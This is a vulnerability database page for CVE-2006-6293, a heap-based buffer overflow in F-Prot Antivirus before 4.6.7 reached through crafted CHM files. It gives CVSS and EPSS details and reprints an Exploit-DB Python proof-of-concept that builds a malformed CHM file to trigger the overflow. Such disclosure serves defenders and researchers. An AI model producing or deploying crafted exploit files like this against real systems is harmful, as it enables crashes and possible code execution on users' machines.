CVE-2006-6293 Detail

CVE-2006-6293

CVE Descriptions

Heap-based buffer overflow in FRISK Software F-Prot Antivirus before 4.6.7 allows user-assisted remote attackers to execute arbitrary code via a crafted CHM file. NOTE: this issue has at least a partial overlap with CVE-2006-6294.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 2893

Publication date : 2006-12-03 23h00 +00:00
Author : Evgeny Legerov
EDB Verified : Yes

# fprot2.py - trivial proof of concept code for F-Prot 4.6.6 .CHM heap # overflow # # Copyright (c) 2006 Evgeny Legerov # # Permission to use, copy, modify, and distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. # # $ ./fprot2.py > 1.chm # $ f-prot 1.chm import sys import struct s="" s+="ITSF" # signature s+=struct.pack("<L",3) # version s+=struct.pack("<L",96) # header_len s+=struct.pack("<L",1) # unknown s+=struct.pack("<L",0x41424344) # last_modified s+=struct.pack("<L",0x419) # lang_id s+="A"*16 #dir_clsid s+="B"*16 #stream_clsid s+=struct.pack("<L",96) + "\x00" * 4 #sec0_offset s+=struct.pack("<L",24) + "\x00" * 4 #sec0_len s+=struct.pack("<L",120) + "\x00" *4 #dir_offset s+=struct.pack("<L",4180) + "\x00" * 4 #dir_len s+=struct.pack("<L",4300) + "\x00"*4 #data_offset s+="A"*24 s+="ITSP" s+=struct.pack("<L", 1) # version s+=struct.pack("<L",0x54) # header_len s+=struct.pack("<L", 0xa) # unknown s+=struct.pack("<L",1000) # block_len - BUG? s+=struct.pack("<L",2) # blockidx s+=struct.pack("<L", 1) # index_depth s+=struct.pack("<L", -1) # index_root s+=struct.pack("<L",0) # index_head s+=struct.pack("<L",0) # index_tail s+=struct.pack("<L", -1) # unknown2 s+=struct.pack("<L",1) # num_blocks s+=struct.pack("<L", 1033) # lang_id s+="A"*32 s+="B"*10000 sys.stdout.write(s) # milw0rm.com [2006-12-04]